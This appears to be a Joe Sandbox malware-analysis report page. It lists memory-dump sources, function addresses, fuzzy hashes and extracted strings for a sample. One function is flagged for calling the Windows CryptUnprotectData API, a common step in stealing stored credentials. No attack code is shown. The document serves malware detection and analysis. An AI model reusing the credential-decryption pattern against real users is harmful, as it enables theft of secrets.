Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 3da090dcc2a5c4891ee76d4571ba96fafe6db74090e05c86fdfc43367d9b56cc
Instruction ID: ab1bf2922a741208f6d4d9f76612c8c670de9a1100800aebc8b02b5e5642e6a0
Opcode Fuzzy Hash: 3da090dcc2a5c4891ee76d4571ba96fafe6db74090e05c86fdfc43367d9b56cc
Instruction Fuzzy Hash: 6341E870A40A289FDB24DB58CC95F9BB7B5BB48702F4081D8E609EB2D0D7716E85CF50

Function 003B9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 003B9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 003B9BA3
LocalFree.KERNEL32(?), ref: 003B9BD3

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 31d4c5ae181dcd8a9185cce1ebe8b668761037313d3081ef96f01a9a08d3ed29
Instruction ID: ac1900e053dad25d11a411a7534562a26dde0c2cd9aea49040ab5302a07af5d6
Opcode Fuzzy Hash: 31d4c5ae181dcd8a9185cce1ebe8b668761037313d3081ef96f01a9a08d3ed29
Instruction Fuzzy Hash: 0D11FAB4A00209DFDB04DFA4D985AAE77B5FF88300F104559E91597350D774AE14CF62

Function 00774A97 Relevance: 4.0, Strings: 2, Instructions: 1503COMMON

Download Yara Rule

Strings

VO}, xrefs: 007755AA
e^\, xrefs: 00775478

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: VO}$e^\
API String ID: 0-920810836
Opcode ID: af17d5128f67cacc82b4b925829b1deecb360c621ce780800163eb0362aac5d0
Instruction ID: ac603e0885a0f53d2fcd4bbad45e6611999c52c850a4e78d6067ec594331bc3c
Opcode Fuzzy Hash: af17d5128f67cacc82b4b925829b1deecb360c621ce780800163eb0362aac5d0
Instruction Fuzzy Hash: AEA2C2F3A0C6049FE704AE29EC8577AFBE5EF94320F16493DEAC583740E63558148A97

Function 006E3E43 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

\>], xrefs: 006E3F83
(^r, xrefs: 006E3F3D
(^r, xrefs: 006E3F29

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (^r$(^r$\>]
API String ID: 0-4038120701
Opcode ID: 0efd409c2623d495d3b02bfb3760742ec10ce0a74daded5bc25857b5fd743ad7
Instruction ID: 7feef52345e92feba3c7dce42c1c17d23d3781d55ea4ae8725cccd1764426742
Opcode Fuzzy Hash: 0efd409c2623d495d3b02bfb3760742ec10ce0a74daded5bc25857b5fd743ad7
Instruction Fuzzy Hash: 12718AF3E086145FE3106E29DC8476ABBD6EFD4720F1A853ED9C893784E938590586D2

Function 00889BA9 Relevance: 1.6, Strings: 1, Instructions: 375COMMON

Download Yara Rule

Strings

i1;Y, xrefs: 00889EBE

Memory Dump Source

Source File: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: i1;Y
API String ID: 0-1824976474
Opcode ID: e2a41fc50830354304e2f4a6285e98d922513e8ec30e4b6cf5de969ec38f0136
Instruction ID: 1f69db382a879fe02325e8920757adf2456649a28ac831477149ca001a0be4c2
Opcode Fuzzy Hash: e2a41fc50830354304e2f4a6285e98d922513e8ec30e4b6cf5de969ec38f0136
Instruction Fuzzy Hash: 00C1BEF3A082049FE7085E2CEC817B7B7D5EB94310F29853DEA85D3784F97A58048785

Function 0073AFF0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

FD~^, xrefs: 0073B09A

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: FD~^
API String ID: 0-3586643306
Opcode ID: 904428389c531fda41183f01fc096512fb4e709fa4d43c59b4a3ee45d7bbb6cd
Instruction ID: df8ecff7287ed2ae5686b4925b0938c01f9e7f2f9e820ece168ee65605174474
Opcode Fuzzy Hash: 904428389c531fda41183f01fc096512fb4e709fa4d43c59b4a3ee45d7bbb6cd
Instruction Fuzzy Hash: D24105F7F192004BE3049A3DED8472A76DBDBD4721F2F853DE688D3788E93998054256

Function 0077DA30 Relevance: .8, Instructions: 803COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ac1acd102884eaf76af241c5a704e129f6e3fb59d579151c2994f4b7ada652a
Instruction ID: a2437bc05374e58d82a9d779a48b889e29b840b322a1274031db1c79c711673b
Opcode Fuzzy Hash: 3ac1acd102884eaf76af241c5a704e129f6e3fb59d579151c2994f4b7ada652a
Instruction Fuzzy Hash: 233228F360C2109FE7046E2DEC8567ABBE9EFD8660F1A4A3DEAC4C3744E53548418796

Function 006DB053 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb00ff3772828caf20c293c7b20293cd031bff1179a5e2fa0445c0bfc3090207
Instruction ID: 227fa8a4eeb9d18969d966ee2439d39c65bac4018e2602526f7f4e8912da7074
Opcode Fuzzy Hash: fb00ff3772828caf20c293c7b20293cd031bff1179a5e2fa0445c0bfc3090207
Instruction Fuzzy Hash: D26114F3A487085BF3086E29EC86776B7D5EB94720F1A063DE689D73C4F9795801824A

Function 006834CB Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b06ca14047dea56fd4a47f9de372a9935495618507e89b7fc11ba0e813604e19
Instruction ID: 7abbe65524e224defa845bf1294fe6fc75d51f030672d6aa321290b8a1c9e4a8
Opcode Fuzzy Hash: b06ca14047dea56fd4a47f9de372a9935495618507e89b7fc11ba0e813604e19
Instruction Fuzzy Hash: 695118F36085005BF348E92ADC56BBAB7DBDBD8320F1AC53DE695C7788D93498018296

Function 0066D624 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79c9266848d376d7a8a147aea0dd98db399bc4178c720088d7b18723af1baf06
Instruction ID: ce8efe676af2976ff764386490a4be5f15231f2ad149b6902b24526a1259f0e5
Opcode Fuzzy Hash: 79c9266848d376d7a8a147aea0dd98db399bc4178c720088d7b18723af1baf06
Instruction Fuzzy Hash: 2D5146F3A092005BE30C6E3DED9563BB7D6DBD4730F1A863DE69587B84EC3918064256

Function 00824CE7 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1467a05fc83d51f3c51713b39dbcf77e13c74cb59a717fac8c21647cc7e5b7af
Instruction ID: 64d1a22de1c7be90681f325a905b0efd107125cd743e5974fd1344b2444dc851
Opcode Fuzzy Hash: 1467a05fc83d51f3c51713b39dbcf77e13c74cb59a717fac8c21647cc7e5b7af
Instruction Fuzzy Hash: 34512EB650C228DFD304AE28F84563AB7E0FB90364F22592DD7C6C7244EA3418D5A7A3

Function 0074017E Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de2143104ffbd25da71c13e5abc2fc9830d44846d169f0701db6dce3cf403c25
Instruction ID: c0d50cf53acc15d2923c98a5cba29eb53aa4c23e4727598ff7430b9874085560
Opcode Fuzzy Hash: de2143104ffbd25da71c13e5abc2fc9830d44846d169f0701db6dce3cf403c25
Instruction Fuzzy Hash: 2D413AF3B042085BF3486E2DEC1537B77D6EBC4320F19423DDA8987785E93AA9058286

Function 00856BC3 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 207a41ec6693f4476f1617a7dca2d0664a6c79ca9b80ba94a829c5886246ff53
Instruction ID: 6f8b03f13e9c5c706761592b20f60f9ffbcae1e9dfd3805336e9ea9256d43761
Opcode Fuzzy Hash: 207a41ec6693f4476f1617a7dca2d0664a6c79ca9b80ba94a829c5886246ff53
Instruction Fuzzy Hash: 7C317CB330C508DBE2449D25DC85A77B7B6FBD431AFB5892DDA83C3304F5718418A252

Function 003C9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
